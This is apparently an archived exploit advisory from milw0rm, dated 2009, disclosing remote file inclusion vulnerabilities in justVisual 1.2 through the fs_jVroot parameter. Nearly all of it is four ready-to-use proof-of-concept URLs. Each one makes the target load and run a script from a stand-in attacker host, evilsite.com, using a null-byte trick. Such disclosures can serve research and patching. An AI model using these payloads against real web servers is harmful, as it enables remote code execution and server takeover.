26 lines
No EOL
1.1 KiB
Text
26 lines
No EOL
1.1 KiB
Text
##################################################################################################################
|
|
[+] justVisual 1.2 (fs_jVroot) Remote File Inclusion Vulnerabilities
|
|
[+] Discovered By SirGod
|
|
[+] http://insecurity-ro.org
|
|
[+] http://h4cky0u.org
|
|
##################################################################################################################
|
|
|
|
[+] Download : http://www.fh54.de/justVisual/justVisual_1.2.zip
|
|
|
|
[+] Remote File Inclusion
|
|
|
|
- Vulnerable code is everywhere
|
|
|
|
- PoC's
|
|
|
|
http://127.0.0.1/path/justVisual/sites/site/pages/index.php?fs_jVroot=http://evilsite.com/evilscript.txt%00
|
|
|
|
http://127.0.0.1/path/justVisual/sites/test/pages/contact.php?fs_jVroot=http://evilsite.com/evilscript.txt%00
|
|
|
|
http://127.0.0.1/path/justVisual/system/pageTemplate.php?fs_jVroot=http://evilsite.com/evilscript.txt%00
|
|
|
|
http://127.0.0.1/path/justVisual/system/utilities.php?fs_jVroot=http://evilsite.com/evilscript.txt%00
|
|
|
|
##################################################################################################################
|
|
|
|
# milw0rm.com [2009-07-30] |